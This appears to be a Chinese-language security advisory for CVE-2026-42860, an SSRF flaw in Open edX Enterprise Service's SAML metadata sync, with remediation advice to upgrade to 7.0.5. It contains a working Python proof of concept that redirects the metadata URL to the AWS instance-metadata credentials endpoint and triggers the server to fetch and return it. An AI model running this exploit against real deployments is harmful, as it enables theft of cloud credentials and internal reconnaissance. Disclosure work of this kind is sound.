IPBUF安全漏洞报告
English
CVE-2026-42860 CVSS 8.5 高危

CVE-2026-42860 Open edX Enterprise Service SSRF漏洞

披露日期: 2026-05-11

漏洞信息

漏洞编号
CVE-2026-42860
漏洞类型
SSRF
CVSS评分
8.5 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Open edX Enterprise Service

相关标签

SSRFOpen edX高危服务端请求伪造信息泄露

漏洞概述

Open edX Enterprise Service 在 7.0.2 至 7.0.4 版本中存在严重的 SSRF 漏洞。由于 `sync_provider_data` 端点直接调用 `requests.get()` 获取 SAML 元数据且未对 URL 进行校验,具有 Enterprise Admin 权限的攻击者可构造恶意请求导致服务器发起未经授权的 HTTP 请求。此漏洞可能被用于内网探测或敏感信息窃取,官方已在 7.0.5 版本中修复该问题。

技术细节

漏洞源于 Open edX Enterprise Service 的 SAML 元数据同步机制。在受影响版本中,`SAMLProviderDataViewSet` 的 `sync_provider_data` 端点依赖 `fetch_metadata_xml()` 函数获取远程数据。该函数直接从配置项 `SAMLProviderConfig.metadata_source` 读取 URL,并将其传递给 `requests.get()` 而未实施任何安全控制,如协议限制(仅允许 HTTPS)、内网 IP 过滤或超时设置。拥有 Enterprise Admin 角色的攻击者可利用 `SAMLProviderConfigViewSet` 的 PATCH 接口篡改配置,将 `metadata_source` 指向内网敏感资源(如 http://127.0.0.1 或云服务元数据地址)。随后,攻击者只需调用同步接口,即可诱导服务器代为访问恶意目标,实现 SSRF 攻击并获取响应数据。

攻击链分析

STEP 1
1. 权限获取
攻击者获取 Open edX 平台的 Enterprise Admin 账号权限。
STEP 2
2. 配置篡改
攻击者通过 `SAMLProviderConfigViewSet` 的 PATCH 接口,将 `metadata_source` 字段修改为恶意的内网 URL(如 AWS 元数据服务地址)。
STEP 3
3. 触发请求
攻击者调用 `sync_provider_data` 端点,触发服务器的数据同步逻辑。
STEP 4
4. 执行攻击
服务器端的 `fetch_metadata_xml()` 函数直接调用 `requests.get()` 请求攻击者指定的 URL,导致 SSRF。
STEP 5
5. 信息回显
服务器将请求到的内网敏感信息返回给攻击者,造成数据泄露。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Configuration TARGET_URL = "http://vulnerable-openedx-instance.com" ADMIN_TOKEN = "<enterprise_admin_token>" ATTACKER_URL = "http://169.254.169.254/latest/meta-data/iam/security-credentials/" headers = { "Authorization": f"Bearer {ADMIN_TOKEN}", "Content-Type": "application/json" } # Step 1: Update the SAML metadata source to the attacker's desired URL (SSRF) # This endpoint allows the Enterprise Admin to set the URL arbitrarily patch_payload = { "metadata_source": ATTACKER_URL } try: patch_response = requests.patch( f"{TARGET_URL}/enterprise/api/v1/saml_provider_config/", json=patch_payload, headers=headers ) print(f"Patch Status: {patch_response.status_code}") # Step 2: Trigger the data sync to force the server-side HTTP request # The server will fetch the URL defined in metadata_source via requests.get() sync_response = requests.post( f"{TARGET_URL}/enterprise/api/v1/saml_provider_data/sync_provider_data/", headers=headers ) # Step 3: Analyze the response for potential data leakage if sync_response.status_code == 200: print("[+] SSRF Triggered successfully. Response content:") print(sync_response.text) else: print(f"[-] Sync failed. Status: {sync_response.status_code}") except Exception as e: print(f"Error: {e}")

影响范围

Open edX Enterprise Service 7.0.2
Open edX Enterprise Service 7.0.3
Open edX Enterprise Service 7.0.4

防御指南

临时缓解措施
建议立即将受影响的应用组件升级至 7.0.5 版本以彻底修复漏洞。若暂时无法升级,应严格限制 Enterprise Admin 账户的分配,并在网络边界监控是否存在异常的内网扫描或访问流量。

参考链接